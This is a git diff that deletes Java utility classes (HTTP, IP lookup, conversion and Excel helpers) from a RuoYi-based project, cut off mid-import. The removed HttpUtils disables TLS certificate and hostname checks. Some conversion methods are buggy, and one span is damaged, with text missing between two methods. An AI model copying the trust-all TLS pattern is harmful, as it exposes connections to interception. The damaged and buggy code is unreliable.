connection.setDoOutput(true); - connection.setFixedLengthStreamingMode(body.length); - try (OutputStream output = connection.getOutputStream()) - { - output.write(body); - } - int status = connection.getResponseCode(); - if (status < 200 || status >= 300) - { - // 不将远端正文拼入异常,避免远端回显数据进入日志。 - throw new IOException("本地 IP 信息推送失败,HTTP 状态码:" + status); - } - try (InputStream input = connection.getInputStream(); - InputStreamReader reader = new InputStreamReader(input, StandardCharsets.UTF_8)) - { - StringBuilder response = new StringBuilder(); - char[] buffer = new char[1024]; - int length; - while ((length = reader.read(buffer)) != -1) - { - response.append(buffer, 0, length); - } - return response.toString(); - } - } - finally - { - connection.disconnect(); - } - } - - public static String getBodyString(ServletRequest request) - { - StringBuilder sb = new StringBuilder(); - BufferedReader reader = null; - try (InputStream inputStream = request.getInputStream()) - { - reader = new BufferedReader(new InputStreamReader(inputStream, Charset.forName("UTF-8"))); - String line = ""; - while ((line = reader.readLine()) != null) - { - sb.append(line); - } - } - catch (IOException e) - { - LOGGER.warn("getBodyString出现问题!"); - } - finally - { - if (reader != null) - { - try - { - reader.close(); - } - catch (IOException e) - { - LOGGER.error(ExceptionUtils.getMessage(e)); - } - } - } - return sb.toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java deleted file mode 100644 index 9aee92e..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java +++ /dev/null @@ -1,262 +0,0 @@ -package com.ruoyi.common.utils.http; - -import java.io.BufferedReader; -import java.io.IOException; -import java.io.InputStream; -import java.io.InputStreamReader; -import java.io.PrintWriter; -import java.net.ConnectException; -import java.net.SocketTimeoutException; -import java.net.URL; -import java.net.URLConnection; -import java.security.cert.X509Certificate; -import javax.net.ssl.HostnameVerifier; -import javax.net.ssl.HttpsURLConnection; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLSession; -import javax.net.ssl.TrustManager; -import javax.net.ssl.X509TrustManager; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import com.ruoyi.common.constant.Constants; - -/** - * 通用http发送方法 - * - * @author ruoyi - */ -public class HttpUtils -{ - private static final Logger log = LoggerFactory.getLogger(HttpUtils.class); - - /** - * 向指定 URL 发送GET方法的请求 - * - * @param url 发送请求的 URL - * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 - * @return 所代表远程资源的响应结果 - */ - public static String sendGet(String url, String param) - { - return sendGet(url, param, Constants.UTF8); - } - - /** - * 向指定 URL 发送GET方法的请求 - * - * @param url 发送请求的 URL - * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 - * @param contentType 编码类型 - * @return 所代表远程资源的响应结果 - */ - public static String sendGet(String url, String param, String contentType) - { - StringBuilder result = new StringBuilder(); - BufferedReader in = null; - try - { - String urlNameString = url + "?" + param; - log.info("sendGet - {}", urlNameString); - URL realUrl = new URL(urlNameString); - URLConnection connection = realUrl.openConnection(); - connection.setRequestProperty("accept", "*/*"); - connection.setRequestProperty("connection", "Keep-Alive"); - connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); - connection.connect(); - in = new BufferedReader(new InputStreamReader(connection.getInputStream(), contentType)); - String line; - while ((line = in.readLine()) != null) - { - result.append(line); - } - log.info("recv - {}", result); - } - catch (ConnectException e) - { - log.error("调用HttpUtils.sendGet ConnectException, url=" + url + ",param=" + param, e); - } - catch (SocketTimeoutException e) - { - log.error("调用HttpUtils.sendGet SocketTimeoutException, url=" + url + ",param=" + param, e); - } - catch (IOException e) - { - log.error("调用HttpUtils.sendGet IOException, url=" + url + ",param=" + param, e); - } - catch (Exception e) - { - log.error("调用HttpsUtil.sendGet Exception, url=" + url + ",param=" + param, e); - } - finally - { - try - { - if (in != null) - { - in.close(); - } - } - catch (Exception ex) - { - log.error("调用in.close Exception, url=" + url + ",param=" + param, ex); - } - } - return result.toString(); - } - - /** - * 向指定 URL 发送POST方法的请求 - * - * @param url 发送请求的 URL - * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 - * @return 所代表远程资源的响应结果 - */ - public static String sendPost(String url, String param) - { - PrintWriter out = null; - BufferedReader in = null; - StringBuilder result = new StringBuilder(); - try - { - String urlNameString = url; - log.info("sendPost - {}", urlNameString); - URL realUrl = new URL(urlNameString); - URLConnection conn = realUrl.openConnection(); - conn.setRequestProperty("accept", "*/*"); - conn.setRequestProperty("connection", "Keep-Alive"); - conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); - conn.setRequestProperty("Accept-Charset", "utf-8"); - conn.setRequestProperty("contentType", "utf-8"); - conn.setDoOutput(true); - conn.setDoInput(true); - out = new PrintWriter(conn.getOutputStream()); - out.print(param); - out.flush(); - in = new BufferedReader(new InputStreamReader(conn.getInputStream(), "utf-8")); - String line; - while ((line = in.readLine()) != null) - { - result.append(line); - } - log.info("recv - {}", result); - } - catch (ConnectException e) - { - log.error("调用HttpUtils.sendPost ConnectException, url=" + url + ",param=" + param, e); - } - catch (SocketTimeoutException e) - { - log.error("调用HttpUtils.sendPost SocketTimeoutException, url=" + url + ",param=" + param, e); - } - catch (IOException e) - { - log.error("调用HttpUtils.sendPost IOException, url=" + url + ",param=" + param, e); - } - catch (Exception e) - { - log.error("调用HttpsUtil.sendPost Exception, url=" + url + ",param=" + param, e); - } - finally - { - try - { - if (out != null) - { - out.close(); - } - if (in != null) - { - in.close(); - } - } - catch (IOException ex) - { - log.error("调用in.close Exception, url=" + url + ",param=" + param, ex); - } - } - return result.toString(); - } - - public static String sendSSLPost(String url, String param) - { - StringBuilder result = new StringBuilder(); - String urlNameString = url + "?" + param; - try - { - log.info("sendSSLPost - {}", urlNameString); - SSLContext sc = SSLContext.getInstance("SSL"); - sc.init(null, new TrustManager[] { new TrustAnyTrustManager() }, new java.security.SecureRandom()); - URL console = new URL(urlNameString); - HttpsURLConnection conn = (HttpsURLConnection) console.openConnection(); - conn.setRequestProperty("accept", "*/*"); - conn.setRequestProperty("connection", "Keep-Alive"); - conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); - conn.setRequestProperty("Accept-Charset", "utf-8"); - conn.setRequestProperty("contentType", "utf-8"); - conn.setDoOutput(true); - conn.setDoInput(true); - - conn.setSSLSocketFactory(sc.getSocketFactory()); - conn.setHostnameVerifier(new TrustAnyHostnameVerifier()); - conn.connect(); - InputStream is = conn.getInputStream(); - BufferedReader br = new BufferedReader(new InputStreamReader(is)); - String ret = ""; - while ((ret = br.readLine()) != null) - { - if (ret != null && !"".equals(ret.trim())) - { - result.append(new String(ret.getBytes("ISO-8859-1"), "utf-8")); - } - } - log.info("recv - {}", result); - conn.disconnect(); - br.close(); - } - catch (ConnectException e) - { - log.error("调用HttpUtils.sendSSLPost ConnectException, url=" + url + ",param=" + param, e); - } - catch (SocketTimeoutException e) - { - log.error("调用HttpUtils.sendSSLPost SocketTimeoutException, url=" + url + ",param=" + param, e); - } - catch (IOException e) - { - log.error("调用HttpUtils.sendSSLPost IOException, url=" + url + ",param=" + param, e); - } - catch (Exception e) - { - log.error("调用HttpsUtil.sendSSLPost Exception, url=" + url + ",param=" + param, e); - } - return result.toString(); - } - - private static class TrustAnyTrustManager implements X509TrustManager - { - @Override - public void checkClientTrusted(X509Certificate[] chain, String authType) - { - } - - @Override - public void checkServerTrusted(X509Certificate[] chain, String authType) - { - } - - @Override - public X509Certificate[] getAcceptedIssuers() - { - return new X509Certificate[] {}; - } - } - - private static class TrustAnyHostnameVerifier implements HostnameVerifier - { - @Override - public boolean verify(String hostname, SSLSession session) - { - return true; - } - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java deleted file mode 100644 index 01c24fc..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.ruoyi.common.utils.ip; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.config.RuoYiConfig; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.http.HttpUtils; - -/** - * 获取地址类 - * - * @author ruoyi - */ -public class AddressUtils -{ - private static final Logger log = LoggerFactory.getLogger(AddressUtils.class); - - // IP地址查询 - public static final String IP_URL = "http://whois.pconline.com.cn/ipJson.jsp"; - - // 未知地址 - public static final String UNKNOWN = "XX XX"; - - public static String getRealAddressByIP(String ip) - { - String address = UNKNOWN; - // 内网不查询 - if (IpUtils.internalIp(ip)) - { - return "内网IP"; - } - if (RuoYiConfig.isAddressEnabled()) - { - try - { - String rspStr = HttpUtils.sendGet(IP_URL, "ip=" + ip + "&json=true", Constants.GBK); - if (StringUtils.isEmpty(rspStr)) - { - log.error("获取地理位置异常 {}", ip); - return UNKNOWN; - } - JSONObject obj = JSONObject.parseObject(rspStr); - String region = obj.getString("pro"); - String city = obj.getString("city"); - return String.format("%s %s", region, city); - } - catch (Exception e) - { - log.error("获取地理位置异常 {}", ip); - } - } - return address; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java deleted file mode 100644 index 1b3f42b..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java +++ /dev/null @@ -1,195 +0,0 @@ -package com.ruoyi.common.utils.ip; - -import java.net.InetAddress; -import java.net.UnknownHostException; -import javax.servlet.http.HttpServletRequest; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.html.EscapeUtil; - -/** - * 获取IP方法 - * - * @author ruoyi - */ -public class IpUtils -{ - public static String getIpAddr(HttpServletRequest request) - { - if (request == null) - { - return "unknown"; - } - String ip = request.getHeader("x-forwarded-for"); - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) - { - ip = request.getHeader("Proxy-Client-IP"); - } - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) - { - ip = request.getHeader("X-Forwarded-For"); - } - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) - { - ip = request.getHeader("WL-Proxy-Client-IP"); - } - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) - { - ip = request.getHeader("X-Real-IP"); - } - - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) - { - ip = request.getRemoteAddr(); - } - return "0:0:0:0:0:0:0:1".equals(ip) ? "127.0.0.1" : EscapeUtil.clean(ip); - } - - public static boolean internalIp(String ip) - { - byte[] addr = textToNumericFormatV4(ip); - return internalIp(addr) || "127.0.0.1".equals(ip); - } - - private static boolean internalIp(byte[] addr) - { - if (StringUtils.isNull(addr) || addr.length < 2) - { - return true; - } - final byte b0 = addr[0]; - final byte b1 = addr[1]; - // 10.x.x.x/8 - final byte SECTION_1 = 0x0A; - // 172.16.x.x/12 - final byte SECTION_2 = (byte) 0xAC; - final byte SECTION_3 = (byte) 0x10; - final byte SECTION_4 = (byte) 0x1F; - // 192.168.x.x/16 - final byte SECTION_5 = (byte) 0xC0; - final byte SECTION_6 = (byte) 0xA8; - switch (b0) - { - case SECTION_1: - return true; - case SECTION_2: - if (b1 >= SECTION_3 && b1 <= SECTION_4) - { - return true; - } - case SECTION_5: - switch (b1) - { - case SECTION_6: - return true; - } - default: - return false; - } - } - - /** - * 将IPv4地址转换成字节 - * - * @param text IPv4地址 - * @return byte 字节 - */ - public static byte[] textToNumericFormatV4(String text) - { - if (text.length() == 0) - { - return null; - } - - byte[] bytes = new byte[4]; - String[] elements = text.split("\\.", -1); - try - { - long l; - int i; - switch (elements.length) - { - case 1: - l = Long.parseLong(elements[0]); - if ((l < 0L) || (l > 4294967295L)) { - return null; - } - bytes[0] = (byte) (int) (l >> 24 & 0xFF); - bytes[1] = (byte) (int) ((l & 0xFFFFFF) >> 16 & 0xFF); - bytes[2] = (byte) (int) ((l & 0xFFFF) >> 8 & 0xFF); - bytes[3] = (byte) (int) (l & 0xFF); - break; - case 2: - l = Integer.parseInt(elements[0]); - if ((l < 0L) || (l > 255L)) { - return null; - } - bytes[0] = (byte) (int) (l & 0xFF); - l = Integer.parseInt(elements[1]); - if ((l < 0L) || (l > 16777215L)) { - return null; - } - bytes[1] = (byte) (int) (l >> 16 & 0xFF); - bytes[2] = (byte) (int) ((l & 0xFFFF) >> 8 & 0xFF); - bytes[3] = (byte) (int) (l & 0xFF); - break; - case 3: - for (i = 0; i < 2; ++i) - { - l = Integer.parseInt(elements[i]); - if ((l < 0L) || (l > 255L)) { - return null; - } - bytes[i] = (byte) (int) (l & 0xFF); - } - l = Integer.parseInt(elements[2]); - if ((l < 0L) || (l > 65535L)) { - return null; - } - bytes[2] = (byte) (int) (l >> 8 & 0xFF); - bytes[3] = (byte) (int) (l & 0xFF); - break; - case 4: - for (i = 0; i < 4; ++i) - { - l = Integer.parseInt(elements[i]); - if ((l < 0L) || (l > 255L)) { - return null; - } - bytes[i] = (byte) (int) (l & 0xFF); - } - break; - default: - return null; - } - } - catch (NumberFormatException e) - { - return null; - } - return bytes; - } - - public static String getHostIp() - { - try - { - return InetAddress.getLocalHost().getHostAddress(); - } - catch (UnknownHostException e) - { - } - return "127.0.0.1"; - } - - public static String getHostName() - { - try - { - return InetAddress.getLocalHost().getHostName(); - } - catch (UnknownHostException e) - { - } - return "未知"; - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/oConvertUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/oConvertUtils.java deleted file mode 100644 index 2ddd3a1..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/oConvertUtils.java +++ /dev/null @@ -1,649 +0,0 @@ -package com.ruoyi.common.utils; - -import lombok.extern.slf4j.Slf4j; -import org.springframework.beans.BeanUtils; - -import javax.servlet.http.HttpServletRequest; -import java.io.UnsupportedEncodingException; -import java.lang.reflect.Field; -import java.math.BigDecimal; -import java.math.BigInteger; -import java.net.InetAddress; -import java.net.NetworkInterface; -import java.net.SocketException; -import java.net.UnknownHostException; -import java.sql.Date; -import java.util.*; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -/** - * - * @Author 张代浩 - * - */ -@Slf4j -public class oConvertUtils { - public static boolean isEmpty(Object object) { - if (object == null) { - return (true); - } - if ("".equals(object)) { - return (true); - } - if ("null".equals(object)) { - return (true); - } - return (false); - } - - public static boolean isNotEmpty(Object object) { - if (object != null && !object.equals("") && !object.equals("null")) { - return (true); - } - return (false); - } - - public static String decode(String strIn, String sourceCode, String targetCode) { - String temp = code2code(strIn, sourceCode, targetCode); - return temp; - } - - public static String StrToUTF(String strIn, String sourceCode, String targetCode) { - strIn = ""; - try { - strIn = new String(strIn.getBytes("ISO-8859-1"), "GBK"); - } catch (UnsupportedEncodingException e) { - // TODO Auto-generated catch block - e.printStackTrace(); - } - return strIn; - - } - - private static String code2code(String strIn, String sourceCode, String targetCode) { - String strOut = null; - if (strIn == null || (strIn.trim()).equals("")) { - return strIn; - } - try { - byte[] b = strIn.getBytes(sourceCode); - for (int i = 0; i < b.length; i++) { - System.out.print(b[i] + " "); - } - strOut = new String(b, targetCode); - } catch (Exception e) { - e.printStackTrace(); - return null; - } - return strOut; - } - - public static int getInt(String s, int defval) { - if (s == null || s == "") { - return (defval); - } - try { - return (Integer.parseInt(s)); - } catch (NumberFormatException e) { - return (defval); - } - } - - public static int getInt(String s) { - if (s == null || s == "") { - return 0; - } - try { - return (Integer.parseInt(s)); - } catch (NumberFormatException e) { - return 0; - } - } - - public static int getInt(String s, Integer df) { - if (s == null || s == "") { - return df; - } - try { - return (Integer.parseInt(s)); - } catch (NumberFormatException e) { - return 0; - } - } - - public static Integer[] getInts(String[] s) { - Integer[] integer = new Integer[s.length]; - if (s == null) { - return null; - } - for (int i = 0; i < s.length; i++) { - integer[i] = Integer.parseInt(s[i]); - } - return integer; - - } - - public static double getDouble(String s, double defval) { - if (s == null || s == "") { - return (defval); - } - try { - return (Double.parseDouble(s)); - } catch (NumberFormatException e) { - return (defval); - } - } - - public static double getDou(Double s, double defval) { - if (s == null) { - return (defval); - } - return s; - } - - /*public static Short getShort(String s) { - if (StringUtil.isNotEmpty(s)) { - return (Short.parseShort(s)); - } else { - return null; - } - }*/ - - public static int getInt(Object object, int defval) { - if (isEmpty(object)) { - return (defval); - } - try { - return (Integer.parseInt(object.toString())); - } catch (NumberFormatException e) { - return (defval); - } - } - - public static Integer getInt(Object object) { - if (isEmpty(object)) { - return null; - } - try { - return (Integer.parseInt(object.toString())); - } catch (NumberFormatException e) { - return null; - } - } - - public static int getInt(BigDecimal s, int defval) { - if (s == null) { - return (defval); - } - return s.intValue(); - } - - public static Integer[] getIntegerArry(String[] object) { - int len = object.length; - Integer[] result = new Integer[len]; - try { - for (int i = 0; i < len; i++) { - result[i] = new Integer(object[i].trim()); - } - return result; - } catch (NumberFormatException e) { - return null; - } - } - - public static String getString(String s) { - return (getString(s, "")); - } - - /** - * 转义成Unicode编码 - * @param s - * @return - */ - /*public static String escapeJava(Object s) { - return StringEscapeUtils.escapeJava(getString(s)); - }*/ - - public static String getString(Object object) { - if (isEmpty(object)) { - return ""; - } - return (object.toString().trim()); - } - - public static String getString(int i) { - return (String.valueOf(i)); - } - - public static String getString(float i) { - return (String.valueOf(i)); - } - - public static String getString(String s, String defval) { - if (isEmpty(s)) { - return (defval); - } - return (s.trim()); - } - - public static String getString(Object s, String defval) { - if (isEmpty(s)) { - return (defval); - } - return (s.toString().trim()); - } - - public static long stringToLong(String str) { - Long test = new Long(0); - try { - test = Long.valueOf(str); - } catch (Exception e) { - } - return test.longValue(); - } - - /** - * 获取本机IP - */ - public static String getIp() { - String ip = null; - try { - InetAddress address = InetAddress.getLocalHost(); - ip = address.getHostAddress(); - - } catch (UnknownHostException e) { - e.printStackTrace(); - } - return ip; - } - - /** - * 判断一个类是否为基本数据类型。 - * - * @param clazz - * 要判断的类。 - * @return true 表示为基本数据类型。 - */ - private static boolean isBaseDataType(Class clazz) throws Exception { - return (clazz.equals(String.class) || clazz.equals(Integer.class) || clazz.equals(Byte.class) || clazz.equals(Long.class) || clazz.equals(Double.class) || clazz.equals(Float.class) || clazz.equals(Character.class) || clazz.equals(Short.class) || clazz.equals(BigDecimal.class) || clazz.equals(BigInteger.class) || clazz.equals(Boolean.class) || clazz.equals(Date.class) || clazz.isPrimitive()); - } - - /** - * @param request - * IP - * @return IP Address - */ - public static String getIpAddrByRequest(HttpServletRequest request) { - String ip = request.getHeader("x-forwarded-for"); - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { - ip = request.getHeader("Proxy-Client-IP"); - } - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { - ip = request.getHeader("WL-Proxy-Client-IP"); - } - if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) { - ip = request.getRemoteAddr(); - } - return ip; - } - - /** - * @return 本机IP - * @throws SocketException - */ - public static String getRealIp() throws SocketException { - String localip = null;// 本地IP,如果没有配置外网IP则返回它 - String netip = null;// 外网IP - - Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces(); - InetAddress ip = null; - boolean finded = false;// 是否找到外网IP - while (netInterfaces.hasMoreElements() && !finded) { - NetworkInterface ni = netInterfaces.nextElement(); - Enumeration address = ni.getInetAddresses(); - while (address.hasMoreElements()) { - ip = address.nextElement(); - if (!ip.isSiteLocalAddress() && !ip.isLoopbackAddress() && ip.getHostAddress().indexOf(":") == -1) {// 外网IP - netip = ip.getHostAddress(); - finded = true; - break; - } else if (ip.isSiteLocalAddress() && !ip.isLoopbackAddress() && ip.getHostAddress().indexOf(":") == -1) {// 内网IP - localip = ip.getHostAddress(); - } - } - } - - if (netip != null && !"".equals(netip)) { - return netip; - } else { - return localip; - } - } - - /** - * java去除字符串中的空格、回车、换行符、制表符 - * - * @param str - * @return - */ - public static String replaceBlank(String str) { - String dest = ""; - if (str != null) { - Pattern p = Pattern.compile("\\s*|\t|\r|\n"); - Matcher m = p.matcher(str); - dest = m.replaceAll(""); - } - return dest; - - } - - /** - * 判断元素是否在数组内 - * - * @param substring - * @param source - * @return - */ - public static boolean isIn(String substring, String[] source) { - if (source == null || source.length == 0) { - return false; - } - for (int i = 0; i < source.length; i++) { - String aSource = source[i]; - if (aSource.equals(substring)) { - return true; - } - } - return false; - } - - /** - * 获取Map对象 - */ - public static Map getHashMap() { - return new HashMap(); - } - - /** - * SET转换MAP - * - * @param str - * @return - */ - public static Map SetToMap(Set setobj) { - Map map = getHashMap(); - for (Iterator iterator = setobj.iterator(); iterator.hasNext();) { - Map.Entry entry = (Map.Entry) iterator.next(); - map.put(entry.getKey().toString(), entry.getValue() == null ? "" : entry.getValue().toString().trim()); - } - return map; - - } - - public static boolean isInnerIP(String ipAddress) { - boolean isInnerIp = false; - long ipNum = getIpNum(ipAddress); - /** - * 私有IP:A类 10.0.0.0-10.255.255.255 B类 172.16.0.0-172.31.255.255 C类 192.168.0.0-192.168.255.255 当然,还有127这个网段是环回地址 - **/ - long aBegin = getIpNum("10.0.0.0"); - long aEnd = getIpNum("10.255.255.255"); - long bBegin = getIpNum("172.16.0.0"); - long bEnd = getIpNum("172.31.255.255"); - long cBegin = getIpNum("192.168.0.0"); - long cEnd = getIpNum("192.168.255.255"); - isInnerIp = isInner(ipNum, aBegin, aEnd) || isInner(ipNum, bBegin, bEnd) || isInner(ipNum, cBegin, cEnd) || ipAddress.equals("127.0.0.1"); - return isInnerIp; - } - - private static long getIpNum(String ipAddress) { - String[] ip = ipAddress.split("\\."); - long a = Integer.parseInt(ip[0]); - long b = Integer.parseInt(ip[1]); - long c = Integer.parseInt(ip[2]); - long d = Integer.parseInt(ip[3]); - - long ipNum = a * 256 * 256 * 256 + b * 256 * 256 + c * 256 + d; - return ipNum; - } - - private static boolean isInner(long userIp, long begin, long end) { - return (userIp >= begin) && (userIp <= end); - } - - /** - * 将下划线大写方式命名的字符串转换为驼峰式。 - * 如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。
- * 例如:hello_world->helloWorld - * - * @param name - * 转换前的下划线大写方式命名的字符串 - * @return 转换后的驼峰式命名的字符串 - */ - public static String camelName(String name) { - StringBuilder result = new StringBuilder(); - // 快速检查 - if (name == null || name.isEmpty()) { - // 没必要转换 - return ""; - } else if (!name.contains("_")) { - // 不含下划线,仅将首字母小写 - //update-begin--Author:zhoujf Date:20180503 for:TASK #2500 【代码生成器】代码生成器开发一通用模板生成功能 - //update-begin--Author:zhoujf Date:20180503 for:TASK #2500 【代码生成器】代码生成器开发一通用模板生成功能 - return name.substring(0, 1).toLowerCase() + name.substring(1).toLowerCase(); - //update-end--Author:zhoujf Date:20180503 for:TASK #2500 【代码生成器】代码生成器开发一通用模板生成功能 - } - // 用下划线将原始字符串分割 - String camels[] = name.split("_"); - for (String camel : camels) { - // 跳过原始字符串中开头、结尾的下换线或双重下划线 - if (camel.isEmpty()) { - continue; - } - // 处理真正的驼峰片段 - if (result.length() == 0) { - // 第一个驼峰片段,全部字母都小写 - result.append(camel.toLowerCase()); - } else { - // 其他的驼峰片段,首字母大写 - result.append(camel.substring(0, 1).toUpperCase()); - result.append(camel.substring(1).toLowerCase()); - } - } - return result.toString(); - } - - /** - * 将下划线大写方式命名的字符串转换为驼峰式。 - * 如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。
- * 例如:hello_world,test_id->helloWorld,testId - * - * @param name - * 转换前的下划线大写方式命名的字符串 - * @return 转换后的驼峰式命名的字符串 - */ - public static String camelNames(String names) { - if(names==null||names.equals("")){ - return null; - } - StringBuffer sf = new StringBuffer(); - String[] fs = names.split(","); - for (String field : fs) { - field = camelName(field); - sf.append(field + ","); - } - String result = sf.toString(); - return result.substring(0, result.length() - 1); - } - - //update-begin--Author:zhoujf Date:20180503 for:TASK #2500 【代码生成器】代码生成器开发一通用模板生成功能 - /** - * 将下划线大写方式命名的字符串转换为驼峰式。(首字母写) - * 如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。
- * 例如:hello_world->HelloWorld - * - * @param name - * 转换前的下划线大写方式命名的字符串 - * @return 转换后的驼峰式命名的字符串 - */ - public static String camelNameCapFirst(String name) { - StringBuilder result = new StringBuilder(); - // 快速检查 - if (name == null || name.isEmpty()) { - // 没必要转换 - return ""; - } else if (!name.contains("_")) { - // 不含下划线,仅将首字母小写 - return name.substring(0, 1).toUpperCase() + name.substring(1).toLowerCase(); - } - // 用下划线将原始字符串分割 - String camels[] = name.split("_"); - for (String camel : camels) { - // 跳过原始字符串中开头、结尾的下换线或双重下划线 - if (camel.isEmpty()) { - continue; - } - // 其他的驼峰片段,首字母大写 - result.append(camel.substring(0, 1).toUpperCase()); - result.append(camel.substring(1).toLowerCase()); - } - return result.toString(); - } - //update-end--Author:zhoujf Date:20180503 for:TASK #2500 【代码生成器】代码生成器开发一通用模板生成功能 - - /** - * 将驼峰命名转化成下划线 - * @param para - * @return - */ - public static String camelToUnderline(String para){ - if(para.length()<3){ - return para.toLowerCase(); - } - StringBuilder sb=new StringBuilder(para); - int temp=0;//定位 - //从第三个字符开始 避免命名不规范 - for(int i=2;i clazz = object.getClass(); - List fieldList = new ArrayList<>(); - while (clazz != null) { - fieldList.addAll(new ArrayList<>(Arrays.asList(clazz.getDeclaredFields()))); - clazz = clazz.getSuperclass(); - } - Field[] fields = new Field[fieldList.size()]; - fieldList.toArray(fields); - return fields; - } - - /** - * 将map的key全部转成小写 - * @param list - * @return - */ - public static List> toLowerCasePageList(List> list){ - List> select = new ArrayList<>(); - for (Map row : list) { - Map resultMap = new HashMap<>(); - Set keySet = row.keySet(); - for (String key : keySet) { - String newKey = key.toLowerCase(); - resultMap.put(newKey, row.get(key)); - } - select.add(resultMap); - } - return select; - } - - /** - * 将entityList转换成modelList - * @param fromList - * @param tClass - * @param - * @param - * @return - */ - public static List entityListToModelList(List fromList, Class tClass){ - if(fromList.isEmpty() || fromList == null){ - return null; - } - List tList = new ArrayList<>(); - for(F f : fromList){ - T t = entityToModel(f, tClass); - tList.add(t); - } - return tList; - } - - public static T entityToModel(F entity, Class modelClass) { - log.debug("entityToModel : Entity属性的值赋值到Model"); - Object model = null; - if (entity == null || modelClass ==null) { - return null; - } - - try { - model = modelClass.newInstance(); - } catch (InstantiationException e) { - log.error("entityToModel : 实例化异常", e); - } catch (IllegalAccessException e) { - log.error("entityToModel : 安全权限异常", e); - } - BeanUtils.copyProperties(entity, model); - return (T)model; - } - - /** - * 判断 list 是否为空 - * - * @param list - * @return true or false - * list == null : true - * list.size() == 0 : true - */ - public static boolean listIsEmpty(Collection list) { - return (list == null || list.size() == 0); - } - - /** - * 判断 list 是否不为空 - * - * @param list - * @return true or false - * list == null : false - * list.size() == 0 : false - */ - public static boolean listIsNotEmpty(Collection list) { - return !listIsEmpty(list); - } - -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java deleted file mode 100644 index 12e75b6..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/poi/ExcelUtil.java +++ /dev/null @@ -1,1097 +0,0 @@ -package com.ruoyi.common.utils.poi; - -import java.io.File; -import java.io.FileOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.lang.reflect.Field; -import java.math.BigDecimal; -import java.text.DecimalFormat; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.Comparator; -import java.util.Date; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.Set; -import java.util.UUID; -import java.util.stream.Collectors; -import org.apache.poi.ss.usermodel.BorderStyle; -import org.apache.poi.ss.usermodel.Cell; -import org.apache.poi.ss.usermodel.CellStyle; -import org.apache.poi.ss.usermodel.CellType; -import org.apache.poi.ss.usermodel.ClientAnchor; -import org.apache.poi.ss.usermodel.DataValidation; -import org.apache.poi.ss.usermodel.DataValidationConstraint; -import org.apache.poi.ss.usermodel.DataValidationHelper; -import org.apache.poi.ss.usermodel.DateUtil; -import org.apache.poi.ss.usermodel.Drawing; -import org.apache.poi.ss.usermodel.FillPatternType; -import org.apache.poi.ss.usermodel.Font; -import org.apache.poi.ss.usermodel.HorizontalAlignment; -import org.apache.poi.ss.usermodel.IndexedColors; -import org.apache.poi.ss.usermodel.Row; -import org.apache.poi.ss.usermodel.Sheet; -import org.apache.poi.ss.usermodel.VerticalAlignment; -import org.apache.poi.ss.usermodel.Workbook; -import org.apache.poi.ss.usermodel.WorkbookFactory; -import org.apache.poi.ss.util.CellRangeAddressList; -import org.apache.poi.xssf.streaming.SXSSFWorkbook; -import org.apache.poi.xssf.usermodel.XSSFClientAnchor; -import org.apache.poi.xssf.usermodel.XSSFDataValidation; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.annotation.Excel.ColumnType; -import com.ruoyi.common.annotation.Excel.Type; -import com.ruoyi.common.annotation.Excels; -import com.ruoyi.common.config.RuoYiConfig; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.core.text.Convert; -import com.ruoyi.common.exception.CustomException; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.DictUtils; -import com.ruoyi.common.utils.StringUtils; -import 